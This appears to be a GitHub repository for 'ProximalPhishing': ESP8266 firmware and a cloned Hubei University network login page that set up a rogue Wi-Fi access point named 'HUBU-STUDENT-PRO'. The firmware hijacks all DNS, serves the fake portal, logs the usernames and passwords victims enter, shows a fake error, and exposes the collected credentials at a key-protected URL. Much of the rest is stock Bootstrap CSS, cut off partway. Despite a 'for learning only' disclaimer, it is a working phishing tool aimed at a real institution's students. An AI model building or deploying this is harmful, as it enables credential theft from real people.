├── README.md └── HubuCaptivePortal ├── data ├── logo.png ├── upwd.png ├── middle.png ├── uname.png ├── favicon.ico ├── background.jpg ├── PCorMobile.html ├── index.html ├── main.css └── bootstrap.css └── HubuCaptivePortal.ino /README.md: -------------------------------------------------------------------------------- 1 | # ProximalPhishing 2 | ProximalPhishing html and ino 3 | 4 | 此代码仅供学习参考使用 5 | -------------------------------------------------------------------------------- /HubuCaptivePortal/data/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/willin22/ProximalPhishing/HEAD/HubuCaptivePortal/data/logo.png -------------------------------------------------------------------------------- /HubuCaptivePortal/data/upwd.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/willin22/ProximalPhishing/HEAD/HubuCaptivePortal/data/upwd.png -------------------------------------------------------------------------------- /HubuCaptivePortal/data/middle.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/willin22/ProximalPhishing/HEAD/HubuCaptivePortal/data/middle.png -------------------------------------------------------------------------------- /HubuCaptivePortal/data/uname.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/willin22/ProximalPhishing/HEAD/HubuCaptivePortal/data/uname.png -------------------------------------------------------------------------------- /HubuCaptivePortal/data/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/willin22/ProximalPhishing/HEAD/HubuCaptivePortal/data/favicon.ico -------------------------------------------------------------------------------- /HubuCaptivePortal/data/background.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/willin22/ProximalPhishing/HEAD/HubuCaptivePortal/data/background.jpg -------------------------------------------------------------------------------- /HubuCaptivePortal/data/PCorMobile.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | ... 10 | 12 | 13 | 14 | 17 | 18 | 19 | 20 | -------------------------------------------------------------------------------- /HubuCaptivePortal/HubuCaptivePortal.ino: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | // DNS默认端口,无需修改 8 | const byte DNS_PORT = 53; 9 | 10 | // WIFI名称 11 | const char *ssid = "HUBU-STUDENT-PRO"; 12 | 13 | // AP的IP地址(即网关地址) 14 | IPAddress apIP(192, 168, 1, 1); 15 | 16 | // 查看存储密码的密码 17 | String ppassword = "t123061"; 18 | 19 | DNSServer dnsServer; 20 | ESP8266WebServer webServer(80); 21 | 22 | // 存储账号密码 23 | String data = ""; 24 | 25 | // 认证页面 26 | String responseHTML = ""; 27 | 28 | // 登录失败页面 29 | String responseHTML_error = "

没有找到符合条件的策略,5秒后返回

"; 30 | 31 | 32 | String getContentType(String filename){ 33 | if(webServer.hasArg("download")) return "application/octet-stream"; 34 | else if(filename.endsWith(".htm")) return "text/html"; 35 | else if(filename.endsWith(".html")) return "text/html"; 36 | else if(filename.endsWith(".css")) return "text/css"; 37 | else if(filename.endsWith(".js")) return "application/javascript"; 38 | else if(filename.endsWith(".png")) return "image/png"; 39 | else if(filename.endsWith(".gif")) return "image/gif"; 40 | else if(filename.endsWith(".jpg")) return "image/jpeg"; 41 | else if(filename.endsWith(".ico")) return "image/x-icon"; 42 | else if(filename.endsWith(".xml")) return "text/xml"; 43 | else if(filename.endsWith(".pdf")) return "application/x-pdf"; 44 | else if(filename.endsWith(".zip")) return "application/x-zip"; 45 | else if(filename.endsWith(".gz")) return "application/x-gzip"; 46 | return "text/plain"; 47 | } 48 | 49 | 50 | // 查看存储的账号和密码 51 | void paw(){ 52 | if(webServer.arg("key")==ppassword){ 53 | webServer.send(200, "text/plain", data); 54 | }else{ 55 | webServer.send(200, "text/html", responseHTML); 56 | } 57 | } 58 | 59 | // 记录从钓鱼界面传过来的账号和密码 60 | void pass(){ 61 | if(webServer.arg("user") != "" && webServer.arg("pass") != ""){ 62 | data += "username:"; 63 | data += webServer.arg("user"); 64 | data += "----password:"; 65 | data += webServer.arg("pass"); 66 | data += "\r\n"; 67 | webServer.send(200, "text/html", responseHTML_error); 68 | } 69 | } 70 | 71 | 72 | void background() { 73 | File file = SPIFFS.open("/background.jpg", "r"); 74 | size_t sent = webServer.streamFile(file, "image/jpeg"); 75 | file.close(); 76 | return; 77 | } 78 | void bootstrap() { 79 | File file = SPIFFS.open("/bootstrap.css", "r"); 80 | size_t sent = webServer.streamFile(file, "text/css"); 81 | file.close(); 82 | return; 83 | } 84 | void logo_r() { 85 | File file = SPIFFS.open("/logo.png", "r"); 86 | size_t sent = webServer.streamFile(file, "image/png"); 87 | file.close(); 88 | return; 89 | } 90 | void favicon() { 91 | File file = SPIFFS.open("/favicon.ico", "r"); 92 | size_t sent = webServer.streamFile(file, "image/x-icon"); 93 | file.close(); 94 | return; 95 | } 96 | void main_r() { 97 | File file = SPIFFS.open("/main.css", "r"); 98 | size_t sent = webServer.streamFile(file, "text/css"); 99 | file.close(); 100 | return; 101 | } 102 | void middle_r() { 103 | File file = SPIFFS.open("/middle.png", "r"); 104 | size_t sent = webServer.streamFile(file, "image/png"); 105 | file.close(); 106 | return; 107 | } 108 | void uname_r() { 109 | File file = SPIFFS.open("/uname.png", "r"); 110 | size_t sent = webServer.streamFile(file, "image/png"); 111 | file.close(); 112 | return; 113 | } 114 | void upwd_r() { 115 | File file = SPIFFS.open("/upwd.png", "r"); 116 | size_t sent = webServer.streamFile(file, "image/png"); 117 | file.close(); 118 | return; 119 | } 120 | void index_r(){ 121 | File file = SPIFFS.open("/index.html", "r"); 122 | size_t sent = webServer.streamFile(file, "text/html"); 123 | file.close(); 124 | return; 125 | } 126 | 127 | // 首页 128 | void handleRoot() { 129 | File file = SPIFFS.open("/index.html", "r"); 130 | size_t sent = webServer.streamFile(file, "text/html"); 131 | file.close(); 132 | return; 133 | } 134 | 135 | void setup() { 136 | // WIFI配置 137 | Serial.begin(9600); 138 | SPIFFS.begin(); 139 | WiFi.mode(WIFI_AP); 140 | WiFi.softAPConfig(apIP, apIP, IPAddress(255, 255, 255, 0)); 141 | WiFi.softAP(ssid); 142 | 143 | // DNS配置 144 | dnsServer.start(DNS_PORT, "*", apIP); 145 | 146 | // 配置404网页为首页 147 | webServer.onNotFound([]() { 148 | webServer.send(200, "text/html", responseHTML); 149 | }); 150 | 151 | // 配置查看密码网页 152 | webServer.on ("/key518", HTTP_GET, paw); 153 | webServer.on("/", handleRoot); 154 | 155 | // 配置登录接口 156 | webServer.on("/pass", HTTP_GET, pass); 157 | 158 | webServer.on("/background.jpg", background); 159 | webServer.on("/bootstrap.css", bootstrap); 160 | webServer.on("/logo.png", logo_r); 161 | webServer.on("favicon.ico", favicon); 162 | webServer.on("/main.css", main_r); 163 | webServer.on("/middle.png", middle_r); 164 | webServer.on("/uname.png", uname_r); 165 | webServer.on("/upwd.png", upwd_r); 166 | 167 | webServer.on("/index.html", index_r); 168 | webServer.begin(); 169 | } 170 | 171 | void loop() { 172 | dnsServer.processNextRequest(); 173 | webServer.handleClient(); 174 | } 175 | -------------------------------------------------------------------------------- /HubuCaptivePortal/data/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 湖北大学认证计费系统 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 |
50 | 59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |

通知:

68 |


  • 原校园网用户(还未转至新网):账号为学号,现有密码不变;

  • 已办理新网开户或迁转用户:账号为学号,初始密码为身份证后6位(有字母则划掉)

  • 如需修改上网帐号密码,请登录自服务平台http://202.114.144.8:8900

  • 缴费用户,无线请连接HUBU-STUDENT

    未缴费用户,无线请连接HUBU-WLAN

  • 学生在宿舍区允许一个手机和一台电脑登录,为保证您的帐号安全,请勿外泄个人帐号信息。


69 |
70 |
71 | 72 |
73 |
74 | 102 | 103 | 104 | 105 | 106 | 107 |
108 | 109 | 地址:湖北省武汉市武昌区友谊大道368号 110 |
111 | 邮政编码:430062 鄂ICP备05003305 112 |
113 | 114 | 115 |
116 |
117 |
118 | 119 |
120 |
SRunPortalSvr V1.01 B20180315
121 | 122 | 123 | 124 | 125 | 126 | -------------------------------------------------------------------------------- /HubuCaptivePortal/data/main.css: -------------------------------------------------------------------------------- 1 | /* body { */ 2 | /* background-image: url(../img/default/background.jpg); */ 3 | /* background-repeat: no-repeat; */ 4 | /* } */ 5 | h2{ 6 | font-weight:100; 7 | } 8 | hr{ 9 | border-top: 1px solid #cabdbd; 10 | } 11 | .navbar { 12 | margin-bottom: 50px; 13 | padding-top: 15px; 14 | } 15 | 16 | .navbar-trans { 17 | min-height: 40px; 18 | background-color: transparent; 19 | } 20 | 21 | .container-fluid { 22 | padding-right: 0; 23 | padding-left: 0; 24 | width: 65%; 25 | margin: 0 auto; 26 | background: #f8f8f8; 27 | border-radius: 30px; 28 | } 29 | #logo{ 30 | width:200px; 31 | } 32 | 33 | #login{ 34 | margin-left:-20px 35 | } 36 | 37 | .row-fluid { 38 | padding: 0 20px; 39 | } 40 | 41 | .row-no-padding { 42 | padding: 0; 43 | } 44 | 45 | .form-signin { 46 | margin: 0 40px 40px; 47 | } 48 | 49 | .form-signin-heading { 50 | text-align: center; 51 | margin: 30px auto 40px; 52 | letter-spacing: 4px; 53 | } 54 | 55 | .notice-heading { 56 | margin: 60px 0 0 10px; 57 | letter-spacing: 4px; 58 | } 59 | 60 | .checkbox { 61 | margin-bottom: 25px; 62 | font-size: 10px; 63 | } 64 | 65 | .others { 66 | margin-top: 11px; 67 | text-align: center; 68 | font-size: 12px; 69 | } 70 | 71 | .row-margin { 72 | padding: 0; 73 | /* margin-top: 10px; */ 74 | margin-bottom: 15px; 75 | } 76 | #row{ 77 | margin-bottom: 35px; 78 | } 79 | .phone { 80 | text-align: right; 81 | padding-right: 15px; 82 | } 83 | 84 | .phone a{ 85 | color:#000; 86 | font-size: 13px; 87 | } 88 | 89 | .phone img { 90 | margin-right: 10px; 91 | width:15px; 92 | } 93 | 94 | .weixin { 95 | padding-left: 20px; 96 | } 97 | .weixin a{ 98 | font-size: 13px; 99 | color:#26bd08; 100 | } 101 | 102 | .weixin img { 103 | margin-right: 10px; 104 | width:20px; 105 | } 106 | 107 | .ft.links { 108 | font-size: 12px; 109 | text-align: center; 110 | color: rgb(61, 158, 235); 111 | } 112 | 113 | .links_item:first-child { 114 | border-left-width: 0; 115 | } 116 | 117 | .links_item.no_extra { 118 | border-left-width: 0; 119 | } 120 | 121 | .ft .links_item { 122 | border-left-color: rgb(61, 158, 235); 123 | } 124 | 125 | .links_item { 126 | display: inline-block; 127 | vertical-align: middle; 128 | padding: 0 1em; 129 | line-height: 1em; 130 | border-left: 1px solid #d9dadc; 131 | } 132 | 133 | li { 134 | display: list-item; 135 | text-align: -webkit-match-parent; 136 | } 137 | 138 | .links-qrcode { 139 | display: none; 140 | position: absolute; 141 | right: -3px; 142 | top: 64px; 143 | margin: 0 3px 3px; 144 | border: 1px solid rgba(0,0,0,.12); 145 | border: 1px solid #ebebeb\9; 146 | border-top: 1px solid #ddd; 147 | box-shadow: 0 1px 3px rgba(0,0,0,.096); 148 | overflow: hidden; 149 | float: left; 150 | z-index: 999; 151 | width: 189px; 152 | height: 180px; 153 | background-color: #fff; 154 | margin: 0; 155 | padding: 20px 0 0; 156 | } 157 | 158 | .links-qrcode a { 159 | width: 100%; 160 | height: 100%; 161 | text-align: center; 162 | margin: 0; 163 | } 164 | 165 | .links-qrcode a p { 166 | color: #666; 167 | margin-top: 10px; 168 | } 169 | 170 | .middle { 171 | height: 30em; 172 | } 173 | 174 | .mg{ 175 | float: left; 176 | position: absolute; 177 | margin-left: -35px; 178 | width: 20px; 179 | margin-top: 5px; 180 | } 181 | 182 | input[type="text"], 183 | input[type="password"], 184 | input[type="number"], 185 | input[type="email"], 186 | input[type="url"], 187 | input[type="tel"], 188 | input[type="color"], 189 | .uneditable-input { 190 | height: 40px; 191 | font-size: 14px; 192 | line-height: 40px; 193 | border-radius: 0px; 194 | background: #f8f8f8; 195 | } 196 | 197 | .btn{ 198 | font-size:13px; 199 | border-radius:10px; 200 | } 201 | 202 | .btn-primary{ 203 | height: 35px; 204 | width:90px; 205 | background-color:#2ca1fe; 206 | background-image: -moz-linear-gradient(top, #2ca1fe, #2ca1fe); 207 | background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#2ca1fe), to(#2ca1fe)); 208 | background-image: -webkit-linear-gradient(top, #2ca1fe, #2ca1fe); 209 | background-image: -o-linear-gradient(top, #2ca1fe, #2ca1fe); 210 | background-image: linear-gradient(to bottom, #2ca1fe,#2ca1fe); 211 | background-repeat: repeat-x; 212 | } 213 | .btn-primary:hover, .btn-primary:active, .btn-primary.active, .btn-primary.disabled, .btn-primary[disabled] { 214 | color: #ffffff; 215 | background-color: #2ca1fe; 216 | } 217 | 218 | .btn-danger{ 219 | height: 35px; 220 | width:90px; 221 | margin-left: 5px; 222 | background-color: #dec704; 223 | background-image: -moz-linear-gradient(top, #dec704, #dec704); 224 | background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#dec704), to(#dec704)); 225 | background-image: -webkit-linear-gradient(top, #dec704, #dec704); 226 | background-image: -o-linear-gradient(top, #dec704, #dec704); 227 | background-image: linear-gradient(to bottom, #dec704, #dec704); 228 | background-repeat: repeat-x; 229 | } 230 | .btn-danger:hover, .btn-danger:active, .btn-danger.active, .btn-danger.disabled, .btn-danger[disabled] { 231 | color: #ffffff; 232 | background-color: #dec704; 233 | } 234 | 235 | .btn-success{ 236 | height: 35px; 237 | width:90px; 238 | margin-left:10px; 239 | background-color: #1fce5d; 240 | background-image: -moz-linear-gradient(top, #62c462, #1fce5d); 241 | background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#62c462), to(#1fce5d)); 242 | background-image: -webkit-linear-gradient(top, #62c462, #1fce5d); 243 | background-image: -o-linear-gradient(top, #62c462, #1fce5d); 244 | background-image: linear-gradient(to bottom, #62c462, #1fce5d); 245 | } 246 | .btn-success:hover, .btn-success:active, .btn-success.active, .btn-success.disabled, .btn-success[disabled] { 247 | color: #ffffff; 248 | background-color: #1fce5d; 249 | } 250 | 251 | @media (max-width: 1024px) { 252 | .container-fluid { 253 | width: 80%; 254 | margin: 0 auto; 255 | } 256 | .row-error { 257 | width: 80%; 258 | margin: 0 auto; 259 | } 260 | .btn-danger{ 261 | width:none; 262 | margin-left: 0px; 263 | } 264 | .btn-success{ 265 | width:none; 266 | margin-left: 0px; 267 | } 268 | } 269 | @media only screen and (max-width:786px){ 270 | h2{ 271 | font-size:20px; 272 | } 273 | .others { 274 | font-size: 8px; 275 | } 276 | .btn-danger{ 277 | width:none; 278 | margin-left: 0px; 279 | } 280 | .btn-success{ 281 | width:none; 282 | margin-left: 0px; 283 | } 284 | } 285 | .row-error { 286 | width: 50%; 287 | margin: 0 auto; 288 | } 289 | 290 | .gtcode { 291 | line-height: 30px; 292 | padding: 4px 10px; 293 | } 294 | 295 | .text-center { 296 | text-align: center; 297 | } 298 | 299 | .wifi-info { 300 | margin-top: 25px; 301 | font-size: 18px; 302 | color: #666; 303 | text-align: center; 304 | } 305 | 306 | .thumbnail { 307 | margin-top: 30px; 308 | border: 0px; 309 | box-shadow: 0 0px 0px rgba(0, 0, 0, 0.055); 310 | } -------------------------------------------------------------------------------- /HubuCaptivePortal/data/bootstrap.css: -------------------------------------------------------------------------------- 1 | /*! 2 | * Bootstrap v2.2.1 3 | * 4 | * Copyright 2012 Twitter, Inc 5 | * Licensed under the Apache License v2.0 6 | * http://www.apache.org/licenses/LICENSE-2.0 7 | * 8 | * Designed and built with all the love in the world @twitter by @mdo and @fat. 9 | */ 10 | article, 11 | aside, 12 | details, 13 | figcaption, 14 | figure, 15 | footer, 16 | header, 17 | hgroup, 18 | nav, 19 | section { 20 | display: block; 21 | } 22 | audio, 23 | canvas, 24 | video { 25 | display: inline-block; 26 | *display: inline; 27 | *zoom: 1; 28 | } 29 | audio:not([controls]) { 30 | display: none; 31 | } 32 | html { 33 | font-size: 100%; 34 | -webkit-text-size-adjust: 100%; 35 | -ms-text-size-adjust: 100%; 36 | } 37 | a:focus { 38 | outline: thin dotted #333; 39 | outline: 5px auto -webkit-focus-ring-color; 40 | outline-offset: -2px; 41 | } 42 | a:hover, 43 | a:active { 44 | outline: 0; 45 | } 46 | sub, 47 | sup { 48 | position: relative; 49 | font-size: 75%; 50 | line-height: 0; 51 | vertical-align: baseline; 52 | } 53 | sup { 54 | top: -0.5em; 55 | } 56 | sub { 57 | bottom: -0.25em; 58 | } 59 | img { 60 | /* Responsive images (ensure images don't scale beyond their parents) */ 61 | 62 | max-width: 100%; 63 | /* Part 1: Set a maxium relative to the parent */ 64 | 65 | width: auto\9; 66 | /* IE7-8 need help adjusting responsive images */ 67 | 68 | height: auto; 69 | /* Part 2: Scale the height according to the width, otherwise you get stretching */ 70 | 71 | vertical-align: middle; 72 | border: 0; 73 | -ms-interpolation-mode: bicubic; 74 | } 75 | #map_canvas img, 76 | .google-maps img { 77 | max-width: none; 78 | } 79 | button, 80 | input, 81 | select, 82 | textarea { 83 | margin: 0; 84 | font-size: 100%; 85 | vertical-align: middle; 86 | } 87 | button, 88 | input { 89 | *overflow: visible; 90 | line-height: normal; 91 | } 92 | button::-moz-focus-inner, 93 | input::-moz-focus-inner { 94 | padding: 0; 95 | border: 0; 96 | } 97 | button, 98 | html input[type="button"], 99 | input[type="reset"], 100 | input[type="submit"] { 101 | -webkit-appearance: button; 102 | cursor: pointer; 103 | } 104 | input[type="search"] { 105 | -webkit-box-sizing: content-box; 106 | -moz-box-sizing: content-box; 107 | box-sizing: content-box; 108 | -webkit-appearance: textfield; 109 | } 110 | input[type="search"]::-webkit-search-decoration, 111 | input[type="search"]::-webkit-search-cancel-button { 112 | -webkit-appearance: none; 113 | } 114 | textarea { 115 | overflow: auto; 116 | vertical-align: top; 117 | } 118 | .clearfix { 119 | *zoom: 1; 120 | } 121 | .clearfix:before, 122 | .clearfix:after { 123 | display: table; 124 | content: ""; 125 | line-height: 0; 126 | } 127 | .clearfix:after { 128 | clear: both; 129 | } 130 | .hide-text { 131 | font: 0/0 a; 132 | color: transparent; 133 | text-shadow: none; 134 | background-color: transparent; 135 | border: 0; 136 | } 137 | .input-block-level { 138 | display: block; 139 | width: 100%; 140 | min-height: 30px; 141 | -webkit-box-sizing: border-box; 142 | -moz-box-sizing: border-box; 143 | box-sizing: border-box; 144 | } 145 | body { 146 | margin: 0; 147 | font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; 148 | font-size: 14px; 149 | line-height: 20px; 150 | color: #333333; 151 | background-color: #ffffff; 152 | } 153 | a { 154 | color: #0088cc; 155 | text-decoration: none; 156 | } 157 | a:hover { 158 | color: #005580; 159 | text-decoration: underline; 160 | } 161 | .img-rounded { 162 | -webkit-border-radius: 6px; 163 | -moz-border-radius: 6px; 164 | border-radius: 6px; 165 | } 166 | .img-polaroid { 167 | padding: 4px; 168 | background-color: #fff; 169 | border: 1px solid #ccc; 170 | border: 1px solid rgba(0, 0, 0, 0.2); 171 | -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1); 172 | -moz-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1); 173 | box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1); 174 | } 175 | .img-circle { 176 | -webkit-border-radius: 500px; 177 | -moz-border-radius: 500px; 178 | border-radius: 500px; 179 | } 180 | .row { 181 | margin-left: -20px; 182 | *zoom: 1; 183 | } 184 | .row:before, 185 | .row:after { 186 | display: table; 187 | content: ""; 188 | line-height: 0; 189 | } 190 | .row:after { 191 | clear: both; 192 | } 193 | [class*="span"] { 194 | float: left; 195 | min-height: 1px; 196 | margin-left: 20px; 197 | } 198 | .container, 199 | .navbar-static-top .container, 200 | .navbar-fixed-top .container, 201 | .navbar-fixed-bottom .container { 202 | width: 940px; 203 | } 204 | .span12 { 205 | width: 940px; 206 | } 207 | .span11 { 208 | width: 860px; 209 | } 210 | .span10 { 211 | width: 780px; 212 | } 213 | .span9 { 214 | width: 700px; 215 | } 216 | .span8 { 217 | width: 620px; 218 | } 219 | .span7 { 220 | width: 540px; 221 | } 222 | .span6 { 223 | width: 460px; 224 | } 225 | .span5 { 226 | width: 380px; 227 | } 228 | .span4 { 229 | width: 300px; 230 | } 231 | .span3 { 232 | width: 220px; 233 | } 234 | .span2 { 235 | width: 140px; 236 | } 237 | .span1 { 238 | width: 60px; 239 | } 240 | .offset12 { 241 | margin-left: 980px; 242 | } 243 | .offset11 { 244 | margin-left: 900px; 245 | } 246 | .offset10 { 247 | margin-left: 820px; 248 | } 249 | .offset9 { 250 | margin-left: 740px; 251 | } 252 | .offset8 { 253 | margin-left: 660px; 254 | } 255 | .offset7 { 256 | margin-left: 580px; 257 | } 258 | .offset6 { 259 | margin-left: 500px; 260 | } 261 | .offset5 { 262 | margin-left: 420px; 263 | } 264 | .offset4 { 265 | margin-left: 340px; 266 | } 267 | .offset3 { 268 | margin-left: 260px; 269 | } 270 | .offset2 { 271 | margin-left: 180px; 272 | } 273 | .offset1 { 274 | margin-left: 100px; 275 | } 276 | .row-fluid { 277 | width: 100%; 278 | *zoom: 1; 279 | } 280 | .row-fluid:before, 281 | .row-fluid:after { 282 | display: table; 283 | content: ""; 284 | line-height: 0; 285 | } 286 | .row-fluid:after { 287 | clear: both; 288 | } 289 | .row-fluid [class*="span"] { 290 | display: block; 291 | width: 100%; 292 | min-height: 30px; 293 | -webkit-box-sizing: border-box; 294 | -moz-box-sizing: border-box; 295 | box-sizing: border-box; 296 | float: left; 297 | margin-left: 2.127659574468085%; 298 | *margin-left: 2.074468085106383%; 299 | } 300 | .row-fluid [class*="span"]:first-child { 301 | margin-left: 0; 302 | } 303 | .row-fluid .controls-row [class*="span"] + [class*="span"] { 304 | margin-left: 2.127659574468085%; 305 | } 306 | .row-fluid .span12 { 307 | width: 100%; 308 | *width: 99.94680851063829%; 309 | } 310 | .row-fluid .span11 { 311 | width: 91.48936170212765%; 312 | *width: 91.43617021276594%; 313 | } 314 | .row-fluid .span10 { 315 | width: 82.97872340425532%; 316 | *width: 82.92553191489361%; 317 | } 318 | .row-fluid .span9 { 319 | width: 74.46808510638297%; 320 | *width: 74.41489361702126%; 321 | } 322 | .row-fluid .span8 { 323 | width: 65.95744680851064%; 324 | *width: 65.90425531914893%; 325 | } 326 | .row-fluid .span7 { 327 | width: 57.44680851063829%; 328 | *width: 57.39361702127659%; 329 | } 330 | .row-fluid .span6 { 331 | width: 48.93617021276595%; 332 | *width: 48.88297872340425%; 333 | } 334 | .row-fluid .span5 { 335 | width: 40.42553191489362%; 336 | *width: 40.37234042553192%; 337 | } 338 | .row-fluid .span4 { 339 | width: 31.914893617021278%; 340 | *width: 31.861702127659576%; 341 | } 342 | .row-fluid .span3 { 343 | width: 23.404255319148934%; 344 | *width: 23.351063829787232%; 345 | } 346 | .row-fluid .span2 { 347 | width: 14.893617021276595%; 348 | *width: 14.840425531914894%; 349 | } 350 | .row-fluid .span1 { 351 | width: 6.382978723404255%; 352 | *width: 6.329787234042553%; 353 | } 354 | .row-fluid .offset12 { 355 | margin-left: 104.25531914893616%; 356 | *margin-left: 104.14893617021275%; 357 | } 358 | .row-fluid .offset12:first-child { 359 | margin-left: 102.12765957446808%; 360 | *margin-left: 102.02127659574466%; 361 | } 362 | .row-fluid .offset11 { 363 | margin-left: 95.74468085106382%; 364 | *margin-left: 95.6382978723404%; 365 | } 366 | .row-fluid .offset11:first-child { 367 | margin-left: 93.61702127659573%; 368 | *margin-left: 93.51063829787232%; 369 | } 370 | .row-fluid .offset10 { 371 | margin-left: 87.23404255319148%; 372 | *margin-left: 87.12765957446807%; 373 | } 374 | .row-fluid .offset10:first-child { 375 | margin-left: 85.1063829787234%; 376 | *margin-left: 84.99999999999998%; 377 | } 378 | .row-fluid .offset9 { 379 | margin-left: 78.72340425531914%; 380 | *margin-left: 78.61702127659572%; 381 | } 382 | .row-fluid .offset9:first-child { 383 | margin-left: 76.59574468085105%; 384 | *margin-left: 76.48936170212764%; 385 | } 386 | .row-fluid .offset8 { 387 | margin-left: 70.2127659574468%; 388 | *margin-left: 70.10638297872339%; 389 | } 390 | .row-fluid .offset8:first-child { 391 | margin-left: 68.08510638297872%; 392 | *margin-left: 67.9787234042553%; 393 | } 394 | .row-fluid .offset7 { 395 | margin-left: 61.70212765957446%; 396 | *margin-left: 61.59574468085106%; 397 | } 398 | .row-fluid .offset7:first-child { 399 | margin-left: 59.574468085106375%; 400 | *margin-left: 59.46808510638297%; 401 | } 402 | .row-fluid .offset6 { 403 | margin-left: 53.191489361702125%; 404 | *margin-left: 53.085106382978715%; 405 | } 406 | .row-fluid .offset6:first-child { 407 | margin-left: 51.063829787234034%; 408 | *margin-left: 50.95744680851063%; 409 | } 410 | .row-fluid .offset5 { 411 | margin-left: 44.68085106382979%; 412 | *margin-left: 44.57446808510638%; 413 | } 414 | .row-fluid .offset5:first-child { 415 | margin-left: 42.5531914893617%; 416 | *margin-left: 42.4468085106383%; 417 | } 418 | .row-fluid .offset4 { 419 | margin-left: 36.170212765957444%; 420 | *margin-left: 36.06382978723405%; 421 | } 422 | .row-fluid .offset4:first-child { 423 | margin-left: 34.04255319148936%; 424 | *margin-left: 33.93617021276596%; 425 | } 426 | .row-fluid .offset3 { 427 | margin-left: 27.659574468085104%; 428 | *margin-left: 27.5531914893617%; 429 | } 430 | .row-fluid .offset3:first-child { 431 | margin-left: 25.53191489361702%; 432 | *margin-left: 25.425531914893618%; 433 | } 434 | .row-fluid .offset2 { 435 | margin-left: 19.148936170212764%; 436 | *margin-left: 19.04255319148936%; 437 | } 438 | .row-fluid .offset2:first-child { 439 | margin-left: 17.02127659574468%; 440 | *margin-left: 16.914893617021278%; 441 | } 442 | .row-fluid .offset1 { 443 | margin-left: 10.638297872340425%; 444 | *margin-left: 10.53191489361702%; 445 | } 446 | .row-fluid .offset1:first-child { 447 | margin-left: 8.51063829787234%; 448 | *margin-left: 8.404255319148937%; 449 | } 450 | [class*="span"].hide, 451 | .row-fluid [class*="span"].hide { 452 | display: none; 453 | } 454 | [class*="span"].pull-right, 455 | .row-fluid [class*="span"].pull-right { 456 | float: right; 457 | } 458 | .container { 459 | margin-right: auto; 460 | margin-left: auto; 461 | *zoom: 1; 462 | } 463 | .container:before, 464 | .container:after { 465 | display: table; 466 | content: ""; 467 | line-height: 0; 468 | } 469 | .container:after { 470 | clear: both; 471 | } 472 | .container-fluid { 473 | padding-right: 20px; 474 | padding-left: 20px; 475 | *zoom: 1; 476 | } 477 | .container-fluid:before, 478 | .container-fluid:after { 479 | display: table; 480 | content: ""; 481 | line-height: 0; 482 | } 483 | .container-fluid:after { 484 | clear: both; 485 | } 486 | p { 487 | margin: 0 0 10px; 488 | } 489 | .lead { 490 | margin-bottom: 20px; 491 | font-size: 21px; 492 | font-weight: 200; 493 | line-height: 30px; 494 | } 495 | small { 496 | font-size: 85%; 497 | } 498 | strong { 499 | font-weight: bold; 500 | } 501 | em { 502 | font-style: italic; 503 | } 504 | cite { 505 | font-style: normal; 506 | } 507 | .muted { 508 | color: #999999; 509 | } 510 | .text-warning { 511 | color: #c09853; 512 | } 513 | a.text-warning:hover { 514 | color: #a47e3c; 515 | } 516 | .text-error { 517 | color: #b94a48; 518 | } 519 | a.text-error:hover { 520 | color: #953b39; 521 | } 522 | .text-info { 523 | color: #3a87ad; 524 | } 525 | a.text-info:hover { 526 | color: #2d6987; 527 | } 528 | .text-success { 529 | color: #468847; 530 | } 531 | a.text-success:hover { 532 | color: #356635; 533 | } 534 | h1, 535 | h2, 536 | h3, 537 | h4, 538 | h5, 539 | h6 { 540 | margin: 10px 0; 541 | font-family: inherit; 542 | font-weight: bold; 543 | line-height: 20px; 544 | color: inherit; 545 | text-rendering: optimizelegibility; 546 | } 547 | h1 small, 548 | h2 small, 549 | h3 small, 550 | h4 small, 551 | h5 small, 552 | h6 small { 553 | font-weight: normal; 554 | line-height: 1; 555 | color: #999999; 556 | } 557 | h1, 558 | h2, 559 | h3 { 560 | line-height: 40px; 561 | } 562 | h1 { 563 | font-size: 38.5px; 564 | } 565 | h2 { 566 | font-size: 31.5px; 567 | } 568 | h3 { 569 | font-size: 24.5px; 570 | } 571 | h4 { 572 | font-size: 17.5px; 573 | } 574 | h5 { 575 | font-size: 14px; 576 | } 577 | h6 { 578 | font-size: 11.9px; 579 | } 580 | h1 small { 581 | font-size: 24.5px; 582 | } 583 | h2 small { 584 | font-size: 17.5px; 585 | } 586 | h3 small { 587 | font-size: 14px; 588 | } 589 | h4 small { 590 | font-size: 14px; 591 | } 592 | .page-header { 593 | padding-bottom: 9px; 594 | margin: 20px 0 30px; 595 | border-bottom: 1px solid #eeeeee; 596 | } 597 | ul, 598 | ol { 599 | padding: 0; 600 | margin: 0 0 10px 25px; 601 | } 602 | ul ul, 603 | ul ol, 604 | ol ol, 605 | ol ul { 606 | margin-bottom: 0; 607 | } 608 | li { 609 | line-height: 20px; 610 | } 611 | ul.unstyled, 612 | ol.unstyled { 613 | margin-left: 0; 614 | list-style: none; 615 | } 616 | dl { 617 | margin-bottom: 20px; 618 | } 619 | dt, 620 | dd { 621 | line-height: 20px; 622 | } 623 | dt { 624 | font-weight: bold; 625 | } 626 | dd { 627 | margin-left: 10px; 628 | } 629 | .dl-horizontal { 630 | *zoom: 1; 631 | } 632 | .dl-horizontal:before, 633 | .dl-horizontal:after { 634 | display: table; 635 | content: ""; 636 | line-height: 0; 637 | } 638 | .dl-horizontal:after { 639 | clear: both; 640 | } 641 | .dl-horizontal dt { 642 | float: left; 643 | width: 160px; 644 | clear: left; 645 | 